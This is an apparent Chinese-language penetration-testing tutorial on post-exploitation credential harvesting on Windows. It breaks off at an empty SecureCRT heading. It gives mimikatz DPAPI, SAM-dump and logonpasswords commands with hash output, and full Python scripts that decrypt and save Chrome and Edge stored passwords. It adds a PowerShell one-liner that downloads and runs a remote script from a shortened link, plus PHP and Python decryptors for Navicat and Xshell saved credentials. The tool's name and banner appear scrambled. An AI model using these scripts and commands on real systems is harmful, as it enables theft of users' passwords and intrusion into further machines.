郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

学!后续会持续更新

image-20210611163901510

系统密码

DPAPI解密

使用用户登录密码解密Master Key file,获得Master Key

固定位置: %APPDATA%\Microsoft\Protect\%SID%下往往有多个Master Key file

这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)

%APPDATA%\Microsoft\Protect\%SID%下存在一个固定文件Preferred,包含最后一个Master Key file的名称和创建时间,文件结构如下:

typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

完整的流程:

  • 找到本机的Master Key file
  • 从Master Key file中获取到Master Key
  • 通过Master Key解密DPAPI blob获得明文

本地保存RDP密码

首先需要打开隐藏受保护的操作系统文件,不打开的话就算打开了显示隐藏的文件、文件夹和驱动器也是看不到的

image-20210607105330176

接着打开文件C:\Users\用户名\AppData\Local\Microsoft\Credentials就可以看到保存的数据了

image-20210609134443326

使用cmdkey /line命令可以查看本地保存了哪些密码,如果你连过其他服务器如果点击了保存密码就能抓取到

image-20210607105639249

使用🥝读取

dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSIONID

image-20210608171226583

获取到guidMasterKey其实就是我们的master key file名称

切记一点不同的SESSIONID如果间隔时间超过90天那么对应的guidMasterKey也是不同的

通过命令获取到Master Key file的Master Key,下文中GUID==Master Key fileMasterKey==Master Key

EeLrXMiD # sekurlsa::dpapi

Authentication Id : 0 ; 229076 (00000000:00037ed4)
Session : Interactive from 1
User Name : ascotbe
Domain : 樱岛麻衣
Logon Server : 樱岛麻衣
Logon Time : 2021/6/7 9:37:53
SID : S-1-5-21-1645164750-2672341361-3879437546-1000
[00000000]
* GUID : {d3fcdbfb-06bd-49f0-98b4-ac08664c176a}
* Time : 2021/6/7 9:37:59
* MasterKey : 7da666987b2b6a51db3148cd01a6fe460a79315d1678a24b327d251c4f9138eecbb7ca4919de8de678628963761ee731a1316b78a6a982d0d4a9c590f5171c9e
* sha1(key) : efd1c9d7290d13b3ecc1e288accfc5d6707d3403
[00000001]
* GUID : {33449413-8697-4a85-a075-778b49015fbe}
* Time : 2021/6/8 17:17:37
* MasterKey : 0ac77f164c38e751f303e26d883cd15e3eb3861f2d69c2ba192035511bfc8f2880f206ef238de4d282384c813326feeaef364b9089c86a97a5169f31dbd319ee
* sha1(key) : f45701db86a93d9b860be725d7eaf32a9a684a77
[00000002]
* GUID : {788f0828-1d1e-478d-adf6-7a37e92182e8}
* Time : 2021/6/7 18:01:08
* MasterKey : 6a9ece2f3bd683c2ac14c69e13465399e9ce20c2930dd51dd9378eed800b06b409f7f4bef926e503d85a0b9e5e1f4cc5ccd01fb2ddaa8de90d086bf3a8ae3bf3
* sha1(key) : f2d6c58b2d2f0a91e07dc0d1cb7db7cb8935f955

只需要使用SESSIONID对应的GUID和MasterKey就能解密数据了

dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSION /masterkey:对应的GUID MasterKey

image-20210609134218324

TargetName是目标机器,UserName是账号,CredentialBlob是密码

本机密码

通过注册列表抓取密码

首先需要管理员权限,抓取注册列表中保存的哈希

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

然后通过🥝进行解密

lsadump::sam /sam:SAM /system:SYSTEM

解密后的数据

Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS C:\Users\ascotbe> cd .\Desktop\
PS C:\Users\ascotbe\Desktop> reg save HKLM\SYSTEM SYSTEM
操作成功完成。
PS C:\Users\ascotbe\Desktop> reg save HKLM\SAM SAM
操作成功完成。
PS C:\Users\ascotbe\Desktop> .\x64.exe

.#####. EeLrXMiD 2.2.0 (x64) #19041 Oct 10 2020 14:46:27
.## ^ ##. "e2G6OxuvUXNR1'Amour" - (IcaHL)
## / \ ## /*** ST1KQSnf huXMA `gVhmWw70VD` ( NceCVtrwTckaqiPu3XOVsQl )
## \ / ## > https://blog.gVhmWw70VD.com/EeLrXMiD
'## v ##' Hp6bmVPNVLO9i7B ( FiLGZos4eo99IXHOADBc44Ir )
'#####' > https://ljrq4GxgPj6NY7 / https://A35s5WaTWwdjV2m6 ***/

EeLrXMiD # privilege::debug
Privilege '20' OK

EeLrXMiD # lsadump::sam /sam:SAM /system:SYSTEM
Domain : 樱岛麻衣
SysKey : 42939b566ede597c3284d1bd23b15a97
Local SID : S-1-5-21-1645164750-2672341361-3879437546

SAMKey : b58a3643feb8148887485d5b702aaf3f

RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 900fff43b7507160b3e239892c034c22

* Primary:Kerberos-Newer-Keys *
Default Salt : ASCOTBE1B49Administrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8185175d7c176c6decf21cbfbde54df0a4b86cca948bb660091d2a873073b26b
aes128_hmac (4096) : ce32484a789bb52f0e43fa09ddac2bf0
des_cbc_md5 (4096) : f8f7ad86cd6e9840

* Packages *
NTLM-Strong-NTOWF

* Primary:Kerberos *
Default Salt : ASCOTBE1B49Administrator
Credentials
des_cbc_md5 : f8f7ad86cd6e9840


RID : 000001f5 (501)
User : Guest

RID : 000001f7 (503)
User : DefaultAccount

RID : 000001f8 (504)
User : WDAGUtilityAccount
Hash NTLM: 4c5c287f286dce27cdd13c6b221979df

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 38ab6a222bbf783640bdcbb714227d57

* Primary:Kerberos-Newer-Keys *
Default Salt : WDAGUtilityAccount
Default Iterations : 4096
Credentials
aes256_hmac (4096) : c60e0605a0f960188d252efb376231de1e1fb3c2fbfd66cbc4a528d364a37bfc
aes128_hmac (4096) : fb6b091efaa644e306673fcd565ce4f4
des_cbc_md5 (4096) : a1648949c202689e

* Packages *
NTLM-Strong-NTOWF

* Primary:Kerberos *
Default Salt : WDAGUtilityAccount
Credentials
des_cbc_md5 : a1648949c202689e


RID : 000003e8 (1000)
User : ascotbe
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 42d6e016527f7bce204d94cc40baa99a

* Primary:Kerberos-Newer-Keys *
Default Salt : ASCOTBE1B49ascotbe
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 35c0a798a120c3b112bcdb7636b8dd3e3b12284c0e85a5b1c93bfbe9c4b83c02
aes128_hmac (4096) : 12a06f6bb5ff719a314ddfe96c83c69e
des_cbc_md5 (4096) : fdd661fe76542cdf

* Packages *
NTLM-Strong-NTOWF

* Primary:Kerberos *
Default Salt : ASCOTBE1B49ascotbe
Credentials
des_cbc_md5 : fdd661fe76542cdf


EeLrXMiD #

我们只需要查看最后一个ascotbe(我本机这个是管理员用户)这个账户的Hash NTLM即可知道本机密码了,通过网站解密

image-20210610150310107

通过mimikatz抓取密码

需要管理员权限执行

privilege::debug
sekurlsa::logonpasswords

即可得出密码

EeLrXMiD # sekurlsa::logonpasswords

Authentication Id : 0 ; 229076 (00000000:00037ed4)
Session : Interactive from 1
User Name : ascotbe
Domain : 樱岛麻衣
Logon Server : 樱岛麻衣
Logon Time : 2021/6/7 9:37:53
SID : S-1-5-21-1645164750-2672341361-3879437546-1000
mSv :
[00000003] Primary
* Username : ascotbe
* Domain : 樱岛麻衣
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tsPkG :
* Username : ascotbe
* Domain : (null)
* Password : (null)
wDiGeST :
* Username : ascotbe
* Domain : (null)
* Password : (null)
kErberoS :
* Username : ascotbe
* Domain : (null)
* Password : (null)
sSp :
crEdMan :
clOuDAp :

浏览器密码

Chrome浏览器数据

Chrome的配置文件存放在%LocalAppData%目录下。如果有两个Google Chrome账号那么每个账号会有不同的配置文件

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default (第一个配置文件的名称)
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Profile 2 (后续的配置文件以迭代数字方式命名)

目录中的Login Data是SQLite 3数据库文件,里面存放了各种网站和账号等信息。

image-20210609143728350

我们只需要关注logins这张表即可

  • origin_url:登录网址
  • username_value:用户名
  • password_value:被加密的用户密码

chrome version 80(80.0.3987.163) 版本前

chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。

测试版本:chrome 79.0.3945.88

A用户解A的chrome密码

直接使用命令即可解密出

dpapi::chrome /in:"C:\Users\ascotbe\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

image-20210609154742793

也可以直接使用脚本

# !/usr/bin/python3
import os
import shutil
import sqlite3
#pip install pywin32
import win32crypt
import json

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'


class ChromePassword:
def __init__(self):
self.passwordList = []

def get_chrome_db(self):
_full_path = os.path.join(APP_DATA_PATH,DB_PATH)
_temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path,_temp_path)
self.show_password(_temp_path)

def show_password(self,db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
ret = win32crypt.CryptUnprotectData(row[2],None,None,None,0)
#密码解析后得到字节码,需要进行解码操作
_info = 'url:%-40s username:%-20s password:%s\n' %\
(row[0][:50],row[1],ret[1].decode())
self.passwordList.append(_info)
conn.close()
os.remove(db_file)

def save_passwords(self):
with open('password.txt','w',encoding='utf-8') as f:
f.writelines(self.passwordList)




if __name__=="__main__":
Main = ChromePassword()
Main.get_chrome_db()
Main.save_passwords()

B用户解A的chrome密码

首先我们需要获取到A用户的MasterKey值,就可以解密了

dpapi::chrome /in:"C:\Users\ascotbe\Desktop\Login Data" /unprotect /masterkey:831d02bf734632f7aaa7719f5ec593111997c9aeefabe71ac4e4a963de546784662fcec40722a4656870698cff96c348a37d669131e99401e0947fa355e8fd0b

image-20210609161248445

chrome version 80 (80.0.3987.163)版本后

利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库,然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址(假设windows用户为admin),本质是个json文件,其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。

解密流程

  1. 获取local state和Login Data文件位置
  2. 获取local state中加密的key(base64编码)
  3. 数据库语句提取Login Data sqllite文件的password_value
  4. DPAPI解密加密key
  5. ase-gcm解密password_value

脚本如下

# !/usr/bin/python3
import os
import sys
import shutil
import sqlite3
import win32crypt
import json,base64

import os
import sys

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (
Cipher, algorithms, modes
)

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'



NONCE_BYTE_SIZE = 12

def encrypt(cipher, plaintext, nonce):
cipher.mode = modes.GCM(nonce)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext)
return (cipher, ciphertext, nonce)

def decrypt(cipher, ciphertext, nonce):
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
return decryptor.update(ciphertext)

def get_cipher(key):
cipher = Cipher(
algorithms.AES(key),
None,
backend=default_backend()
)
return cipher

def dpapi_decrypt(encrypted):
import ctypes
import ctypes.wintypes

class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]

p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result

def unix_decrypt(encrypted):
if sys.platform.startswith('linux'):
password = 'peanuts'
iterations = 1
else:
raise NotImplementedError

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

salt = 'saltysalt'
iv = ' ' * 16
length = 16
key = PBKDF2(password, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted[3:])
return decrypted[:-ord(decrypted[-1])]

def get_key_from_local_state():
jsn = None
with open(os.path.join(os.environ['LOCALAPPDATA'],
r"Google\Chrome\User Data\Local State"),encoding='utf-8',mode ="r") as f:
jsn = json.loads(str(f.readline()))
return jsn["os_crypt"]["encrypted_key"]

def aes_decrypt(encrypted_txt):
encoded_key = get_key_from_local_state()
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi_decrypt(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = get_cipher(key)
return decrypt(cipher,encrypted_txt[15:],nonce)

class ChromePassword:
def __init__(self):
self.passwordList = []

def get_chrome_db(self):
_full_path = os.path.join(APP_DATA_PATH,DB_PATH)
_temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path,_temp_path)
self.show_password(_temp_path)

def show_password(self,db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
# print(type(row[2]))
host = row[0]
if host.startswith('android'):
continue
name = row[1]
value = self.chrome_decrypt(row[2])######加密方式改變后的重點位置
#密码解析后得到字节码,需要进行解码操作
_info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value)
self.passwordList.append(_info)
conn.close()
os.remove(db_file)

def chrome_decrypt(self,encrypted_txt):
if sys.platform == 'win32':
try:
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
decrypted_txt = dpapi_decrypt(encrypted_txt)
return decrypted_txt.decode()
elif encrypted_txt[:3] == b'v10':
decrypted_txt = aes_decrypt(encrypted_txt)
return decrypted_txt[:-16].decode()
except WindowsError:
return None
else:
try:
return unix_decrypt(encrypted_txt)
except NotImplementedError:
return None

def save_passwords(self):
with open('password.txt','w',encoding='utf-8') as f:
f.writelines(self.passwordList)



if __name__=="__main__":
Main = ChromePassword()
Main.get_chrome_db()
Main.save_passwords()

Firefox浏览器数据

所有的密码保存位置在%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\(xxxxxxxx为8位随机字母和数字的组合)

不同版本的Firefox保存记录的文件名称不同,具体区别如下:

  • Version大于等于32.0,保存记录的文件为logins.json

  • Version大于等于3.5,小于32.0,保存记录的文件为signons.sqlite

不同版本的Firefox密钥文件的位置不同,具体区别如下:

  • Version小于58.0.2,密钥文件为key3.db

  • Version大于等于58.0.2,密钥文件为key4.db

默认情况下,当前用户的权限可以查看Firefox浏览器中保存的所有密码,为了提高安全性,Firefox浏览器支持为保存的密码添加额外的保护:设置Master Password。

image-20210609191949114

添加Master Password后,查看保存的密码需要额外输入Master Password。

解密流程:

  • 读取密钥文件(key4.db或key3.db),获得key和iv

  • 读取记录文件(logins.json或signons.sqlite)的内容

  • 如果未设置Master Password,使用key和iv对记录文件中的加密内容进行3DES-CBC解密。如果设置Master Password,还需要获得明文形式的Master Password,才能进行解密

未设置Master Password解密

WebBrowserPassView:官方下载 备份下载

.\WebBrowserPassView.exe /LoadPasswordsFirefox 1 /shtml "C:\Users\ascotbe\Desktop\passwords.html"

还能把谷歌最新版本的秘钥给解密了

image-20210609192420620

设置Master Password解密

firefox_decrypt:官方下载

解密需要获取到用户设置的Master Password才行,解密工具别使用1.0版本,问题很多

image-20210609194828114

IE 浏览器数据

首先需要打开浏览器的记住密码功能:工具->Internet 选项->内容->自动完成->勾选表单上的用户名和密码

image-20210610095248052

远程下载执行(需要开启PS可执行)

直接使用命令,目前GitHub国内无法访问,推荐使用自己服务器存放脚本或者使用第三方源

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2K75g15')"

image-20210610100850268

本地执行(需要开启PS可执行)

直接把PS1文件放到目标机器上,执行就好了

[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password

image-20210610101513741

落地文件执行

IE PassView:官方下载 备份下载

直接把文件双击即可看到密码

image-20210610105509664

Edge浏览器数据

由于微软就套了一层壳,加密方式完全没有修改,值修改了数据保存的路径,所以我们修改上面Chrome的脚本即可获取成功

#数据库路径
C:\Users\ascotbe\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
#秘钥路径
C:\Users\ascotbe\AppData\Local\Microsoft\Edge\User Data\Local State

脚本修改如下

# !/usr/bin/python3
import os
import sys
import shutil
import sqlite3
import win32crypt
import json,base64

import os
import sys

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (
Cipher, algorithms, modes
)

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Microsoft\Edge\User Data\Default\Login Data'



NONCE_BYTE_SIZE = 12

def encrypt(cipher, plaintext, nonce):
cipher.mode = modes.GCM(nonce)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext)
return (cipher, ciphertext, nonce)

def decrypt(cipher, ciphertext, nonce):
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
return decryptor.update(ciphertext)

def get_cipher(key):
cipher = Cipher(
algorithms.AES(key),
None,
backend=default_backend()
)
return cipher

def dpapi_decrypt(encrypted):
import ctypes
import ctypes.wintypes

class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]

p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result

def unix_decrypt(encrypted):
if sys.platform.startswith('linux'):
password = 'peanuts'
iterations = 1
else:
raise NotImplementedError

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

salt = 'saltysalt'
iv = ' ' * 16
length = 16
key = PBKDF2(password, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted[3:])
return decrypted[:-ord(decrypted[-1])]

def get_key_from_local_state():
jsn = None
with open(os.path.join(os.environ['LOCALAPPDATA'],
r"Microsoft\Edge\User Data\Local State"),encoding='utf-8',mode ="r") as f:
jsn = json.loads(str(f.readline()))
return jsn["os_crypt"]["encrypted_key"]

def aes_decrypt(encrypted_txt):
encoded_key = get_key_from_local_state()
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi_decrypt(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = get_cipher(key)
return decrypt(cipher,encrypted_txt[15:],nonce)

class ChromePassword:
def __init__(self):
self.passwordList = []

def get_chrome_db(self):
_full_path = os.path.join(APP_DATA_PATH,DB_PATH)
_temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
if os.path.exists(_temp_path):
os.remove(_temp_path)
shutil.copyfile(_full_path,_temp_path)
self.show_password(_temp_path)

def show_password(self,db_file):
conn = sqlite3.connect(db_file)
_sql = 'select signon_realm,username_value,password_value from logins'
for row in conn.execute(_sql):
# print(type(row[2]))
host = row[0]
if host.startswith('android'):
continue
name = row[1]
value = self.chrome_decrypt(row[2])######加密方式改變后的重點位置
#密码解析后得到字节码,需要进行解码操作
_info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value)
self.passwordList.append(_info)
conn.close()
os.remove(db_file)

def chrome_decrypt(self,encrypted_txt):
if sys.platform == 'win32':
try:
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
decrypted_txt = dpapi_decrypt(encrypted_txt)
return decrypted_txt.decode()
elif encrypted_txt[:3] == b'v10':
decrypted_txt = aes_decrypt(encrypted_txt)
return decrypted_txt[:-16].decode()
except WindowsError:
return None
else:
try:
return unix_decrypt(encrypted_txt)
except NotImplementedError:
return None

def save_passwords(self):
with open('password.txt','w',encoding='utf-8') as f:
f.writelines(self.passwordList)



if __name__=="__main__":
Main = ChromePassword()
Main.get_chrome_db()
Main.save_passwords()

数据库密码

目前测试只能解密11和12两个版本,其他版本未测试

数据库类型 注册表路径
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers

能RDP连接到机器

当前已Mysql作为测试样例,通过注册列表中查看,位置如下

\HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\

image-20210610163933891

接着把加密的密码复制出来进行解密,脚本如下,如果本机没有PHP环境可以使用在线网站

<?php

namespace FatSmallTools;

class NavicatPassword
{
protected $version = 0;
protected $aesKey = 'libcckeylibcckey';
protected $aesIv = 'libcciv libcciv ';
protected $blowString = '3DC5CA39';
protected $blowKey = null;
protected $blowIv = null;

public function __construct($version = 12)
{
$this->version = $version;
$this->blowKey = sha1('3DC5CA39', true);
$this->blowIv = hex2bin('d9c7c3c8870d64bd');
}

public function encrypt($string)
{
$result = FALSE;
switch ($this->version) {
case 11:
$result = $this->encryptEleven($string);
break;
case 12:
$result = $this->encryptTwelve($string);
break;
default:
break;
}

return $result;
}

protected function encryptEleven($string)
{
$round = intval(floor(strlen($string) / 8));
$leftLength = strlen($string) % 8;
$result = '';
$currentVector = $this->blowIv;

for ($i = 0; $i < $round; $i++) {
$temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector));
$currentVector = $this->xorBytes($currentVector, $temp);
$result .= $temp;
}

if ($leftLength) {
$currentVector = $this->encryptBlock($currentVector);
$result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
}

return strtoupper(bin2hex($result));
}

protected function encryptBlock($block)
{
return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING);
}

protected function decryptBlock($block)
{
return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING);
}

protected function xorBytes($str1, $str2)
{
$result = '';
for ($i = 0; $i < strlen($str1); $i++) {
$result .= chr(ord($str1[$i]) ^ ord($str2[$i]));
}

return $result;
}

protected function encryptTwelve($string)
{
$result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
return strtoupper(bin2hex($result));
}

public function decrypt($string)
{
$result = FALSE;
switch ($this->version) {
case 11:
$result = $this->decryptEleven($string);
break;
case 12:
$result = $this->decryptTwelve($string);
break;
default:
break;
}

return $result;
}

protected function decryptEleven($upperString)
{
$string = hex2bin(strtolower($upperString));

$round = intval(floor(strlen($string) / 8));
$leftLength = strlen($string) % 8;
$result = '';
$currentVector = $this->blowIv;

for ($i = 0; $i < $round; $i++) {
$encryptedBlock = substr($string, 8 * $i, 8);
$temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector);
$currentVector = $this->xorBytes($currentVector, $encryptedBlock);
$result .= $temp;
}

if ($leftLength) {
$currentVector = $this->encryptBlock($currentVector);
$result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
}

return $result;
}

protected function decryptTwelve($upperString)
{
$string = hex2bin(strtolower($upperString));
return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
}
}


use FatSmallTools\NavicatPassword;

//需要指定版本,11或12
$navicatPassword = new NavicatPassword(11);
//填上你的加密的密码
$decode = $navicatPassword->decrypt('EF176B08C2D7735DB81C');
echo $decode."\n";

不能RDP连接到机器

使用命令来保存注册列表的值

reg export HKCU\SOFTWARE\PremiumSoft\Navicat\Servers navicat

提取出来的内容如下,解密方式和上面一样

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers]

[HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\test]
"ConnType"="ctMYSQL"
"ConnTypeOra"="ctoBasic"
"TNS"=""
"DatabaseFileName"=""
"Host"="127.0.0.1"
"Port"=dword:00000cea
"InitialDatabase"=""
"OraServiceNameType"="snServiceName"
"MSSQLAuthenMode"="mamSQLServer"
"UserName"="root"
"Pwd"="EF176B08C2D7735DB81C"
"AskPassword"="false"
"Codepage"=dword:0000fde9
"OraRole"="orDefault"
"OraOSAuthentication"=dword:00000000
"AutoConnect"=dword:00000000
"QuerySavePath"="C:\\Users\\ascotbe\\Documents\\Navicat\\MySQL\\servers\\test"
"UseCompression"=dword:00000000
"UseCharacterSet"=dword:00000001
"UsePingInterval"=dword:00000000
"PingInterval"=dword:000000f0
"UseNamedPipe"=dword:00000000
"NamedPipeSocket"="/tmp/mysql.sock"
"SQLiteEncrypted"=dword:00000000
"UseEncryption"=dword:00000000
"UseAdvSettings"="false"
"UseSSL"=dword:00000000
"UseSSLAuthen"=dword:00000000
"PGSSLMode"="smRequire"
"ClientKey"=""
"ClientCert"=""
"CACert"=""
"VerifyCACert"=dword:00000000
"Cipher"=""
"PGSSLCRL"=""
"UseSSH"=dword:00000000
"SSH_Host"=""
"SSH_Port"=dword:00000016
"SSH_UserName"=""
"SSH_AuthenMethod"="saPassword"
"SSH_SavePassword"=dword:00000000
"SSH_PrivateKey"=""
"SSH_SavePassphrase"=dword:00000000
"UseHTTP"=dword:00000000
"HTTP_URL"=""
"HTTP_EncodeBase64"=dword:00000000
"HTTP_Authen"=dword:00000000
"HTTP_Username"=""
"HttpSavePassword"=dword:00000000
"HTTP_CertAuth"=dword:00000000
"HTTP_ClientKey"=""
"HTTP_ClientCert"=""
"HTTP_CACert"=""
"HTTP_Passphrase"=""
"HTTP_Proxy"=dword:00000000
"HTTP_ProxyHost"=""
"HTTP_ProxyPort"=dword:00000000
"HTTP_ProxyUsername"=""
"HttpProxySavePassword"=dword:00000000
"NSYID"=""
"NSYHash"=""
"NSYNavicatID"=""
"NSYDirtyFlag"=dword:00000000
"AskForSavePassword"=dword:00000000

SSH密码

Xshell密码

默认保存路径

版本 路径
Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
Xshell 7 %userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions

关于xshell加密方式可以查看这篇文章

Xshell 5&Xshell 6

首先需获取到用户的SID值

PS C:\Users\ascotbe> whoami /user

用户信息
----------------

用户名 SID
================ ==============================================
樱岛麻衣\ascotbe S-1-5-21-1645164750-2672341361-3879437546-1000

然后使用脚本解密

python .\xshell.py -s username+sid -p "文件路径"

image-20210611142341029

脚本代码如下

#!/usr/bin/env python3
import os
import argparse
import base64
import configparser
#pip install pycryptodome
#pip install pywin32
from win32api import GetComputerName, GetUserName
from win32security import LookupAccountName, ConvertSidToStringSid
from Crypto.Hash import SHA256
from Crypto.Cipher import ARC4


def decrypt_string(a1, a2):
v1 = base64.b64decode(a2)
v3 = ARC4.new(SHA256.new(a1.encode('ascii')).digest()).decrypt(v1[:len(v1) - 0x20])
if SHA256.new(v3).digest() == v1[-32:]:
return v3.decode('ascii')
else:
return None


parser = argparse.ArgumentParser(description="xsh, xfp password decrypt")
parser.add_argument("-s", "--sid", default="", type=str, help="`username`+`sid`, user `whoami /user` in command.")
parser.add_argument("-p", "--password", default="", type=str, help="the password in sessions or path of sessions")
args = parser.parse_args()
if not args.sid:
args.sid = GetUserName() + ConvertSidToStringSid(LookupAccountName(GetComputerName(), GetUserName())[0])
if not args.password:
args.password = os.path.join(os.environ["USERPROFILE"], r"Documents\NetSarang Computer\6")

if not os.path.isdir(args.password):
r = decrypt_string(args.sid, args.password)
if r:
print(r)

for root, dirs, files in os.walk(args.password):
for f in files:
if f.endswith(".xsh") or f.endswith(".xfp"):
filepath = os.path.join(root, f)
cfg = configparser.ConfigParser()
try:
cfg.read(filepath)
except UnicodeDecodeError:
cfg.read(filepath, encoding="utf-16")

try:
if f.endswith(".xsh"):
host = "{}:{}".format(cfg["CONNECTION"]["Host"], cfg["CONNECTION"]["Port"])
username = cfg["CONNECTION:AUTHENTICATION"]["UserName"]
password = decrypt_string(args.sid, cfg["CONNECTION:AUTHENTICATION"]["Password"])
else:
host = "{}:{}".format(cfg["Connection"]["Host"], cfg["Connection"]["Port"])
username = cfg["Connection"]["UserName"]
password = decrypt_string(args.sid, cfg["Connection"]["Password"])
print(
f"{filepath:=^100}\nHost: {host}\nUsername: {username}\nPassword: {password}")
except Exception as e:
print(f"{filepath:=^100}\nError:{e}")

Xshell 7

这个版本目前我没有找到解密方式,只能使用比较蠢的方式

1

星号密码查看器:备份下载

SecureCRT密码

